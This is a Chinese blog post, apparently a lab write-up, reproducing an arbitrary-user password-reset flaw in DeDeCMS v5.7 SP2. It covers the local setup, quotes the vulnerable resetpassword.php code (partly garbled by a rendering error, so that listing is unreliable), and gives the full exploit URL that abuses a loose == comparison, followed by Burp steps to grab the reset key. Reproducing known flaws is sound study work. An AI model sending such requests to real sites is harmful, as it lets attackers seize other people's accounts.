当前位置: 首页 > news >正文

DeDeCMS v5.7 SP2 正式版 前台任意用户密码修改(漏洞复现)

1.环境搭建

PHP 5.6
DeDeCMSV5.7SP2 正式版
安装phpstudy,https://www.xp.cn/小皮面板
在这里插入图片描述
先启动Apache2.4.39和MySQL5.7.26
如果他会让你下载,点击是就好!
在这里插入图片描述
让后点击网站—>点击创建网站
在这里插入图片描述在这里插入图片描述
域名自己创建,自己取
其他的不变
点击”创建数据库“

在这里插入图片描述
这些设置好就行
然后重启一下Apache2.4.39
在这里插入图片描述
这里我创建好了我的
在这里插入图片描述然后打开管理
在这里插入图片描述

点击’打开根目录‘并把下载好的DeDeCMS v5.7 SP2
解压

在这里插入图片描述
解压后把里面的文件放入根目录中,这里注意:解压好后的文件里面upload里面的所有文件要拖出来放在根目录里面,最后保存就好

然后我们访问:你在本机上创建的网站的域名/install
然后按着以下教程安装就好!!!
https://blog.csdn.net/qq_38882327/article/details/89356033

当安装好后,后台账号和密码都是amdin
但是注意我们需要去后台把会员注册打开,别忘了调成“是”
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
然后放回页面,退出我们的账号,来到下面这个页面
在这里插入图片描述打开源码目录下D:\phpstudy_pro\WWW\dedecms\include,找到dedesql.class.php和dedesqli.class.php两个php文件,用notepad++打开,然后ctrl+F寻找safeCheck,把TURE改为FALSE,关闭安全检查

在这里插入图片描述

2.漏洞复现

由于前台resetpassword.php中对接受的safeanswer参数类型比较不够严格,遭受弱类型比较攻击

导致了远程攻击者可以在前台会员中心绕过验证,进行任意用户密码重置攻击

漏洞触发位置:dedecms/member/resetpassword.php(75行) else if($dopost ==
“safequestion”)

{

$mid = preg_replace(“#[^0-9]#”, “”, $id);

KaTeX parse error: Expected ‘EOF’, got ‘#’ at position 57: …rid,email
FROM #̲@__member WHERE…mid’";

$row = d b − > G e t O n e ( db->GetOne( db−>GetOne(sql);

if(empty($safequestion)) $safequestion = ‘’;

if(empty($safeanswer)) $safeanswer = ‘’;

if($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] ==
$safeanswer)

{

​ sn($mid, $row[‘userid’], $row[‘email’], ‘N’);

​ exit();

}

else

{

​ ShowMsg(“对不起,您的安全问题或答案回答错误”,“-1”);

​ exit();

}

}

就是这里的判断出现了问题,因为使用了不够严谨的 == 进行了比较,导致if语句的条件为真,就会进入分支,进入sn函数

if($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] ==
$safeanswer)

{

sn($mid, $row[‘userid’], $row[‘email’], ‘N’);

exit();

}

原文链接:https://blog.csdn.net/weixin_52497013/article/details/121468861
后台看到我们uid
在这里插入图片描述这里我们看到mid=2
fouronefour.com/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=2
用bp抓个包,放个包

在这里插入图片描述
在这里插入图片描述
把amp删掉,key=“密钥”
访问此网站,让后改掉密码即可

在这里插入图片描述

相关文章:

  • pytorch 代码块积累
  • pycharm 创建vue并实现简易路由功能
  • LabVIEWL实现鸟巢等大型结构健康监测
  • Java零基础-switch条件语句
  • 算法设计与实现--贪心篇
  • 笔记-基于CH579M模块通过网线直连电脑进行数据收发(无需网络)
  • 什么是Daily Scrum?
  • 1038. 从二叉搜索树到更大和树 --力扣 --JAVA
  • Java内存缓存神器:Caffeine(咖啡因)
  • 松下、书客、明基护眼台灯值不值得买?热门护眼台灯真实测评!
  • Linux shell编程学习笔记32:declare 命令
  • MacOS + Android Studio 通过 USB 数据线真机调试
  • 【4】基于多设计模式下的同步异步日志系统-框架设计
  • sCrypt 现已支持各类主流前端框架
  • 面试篇算法:(一:排序算法)
  • 分享的文章《人生如棋》
  • 【干货分享】SpringCloud微服务架构分布式组件如何共享session对象
  • 【跃迁之路】【735天】程序员高效学习方法论探索系列(实验阶段492-2019.2.25)...
  • 07.Android之多媒体问题
  • httpie使用详解
  • Java到底能干嘛?
  • Linux学习笔记6-使用fdisk进行磁盘管理
  • MySQL Access denied for user 'root'@'localhost' 解决方法
  • oldjun 检测网站的经验
  • 聚类分析——Kmeans
  • 开源地图数据可视化库——mapnik
  • 云大使推广中的常见热门问题
  • 怎么将电脑中的声音录制成WAV格式
  • # 日期待t_最值得等的SUV奥迪Q9:空间比MPV还大,或搭4.0T,香
  • # 数据结构
  • (C++)栈的链式存储结构(出栈、入栈、判空、遍历、销毁)(数据结构与算法)
  • (超详细)语音信号处理之特征提取
  • (六)激光线扫描-三维重建
  • (七)Knockout 创建自定义绑定
  • (三)elasticsearch 源码之启动流程分析
  • (四)c52学习之旅-流水LED灯
  • (四)Linux Shell编程——输入输出重定向
  • (转)C#调用WebService 基础
  • **Java有哪些悲观锁的实现_乐观锁、悲观锁、Redis分布式锁和Zookeeper分布式锁的实现以及流程原理...
  • .NET Core 2.1路线图
  • .net core使用ef 6
  • .Net FrameWork总结
  • .Net的C#语言取月份数值对应的MonthName值
  • @Autowired和@Resource的区别
  • @RequestMapping处理请求异常
  • [AutoSar]BSW_Memory_Stack_004 创建一个简单NV block并调试
  • [AutoSar]BSW_OS 02 Autosar OS_STACK
  • [C#基础]说说lock到底锁谁?
  • [CC2642R1][VSCODE+Embedded IDE+IAR Build+Cortex-Debug] TI CC2642R1基于VsCode的开发环境
  • [CISCN2019 华北赛区 Day1 Web5]CyberPunk --不会编程的崽
  • [C和指针].(美)Kenneth.A.Reek(ED2000.COM)pdf
  • [IE9] GPU硬件加速到底是实用创新还是噱头
  • [IE9] IE9 RC版下载链接
  • [J2ME]url请求返回参数非法(java.lang.illegalArgument)
  • [Jquery] 实现温度计动画效果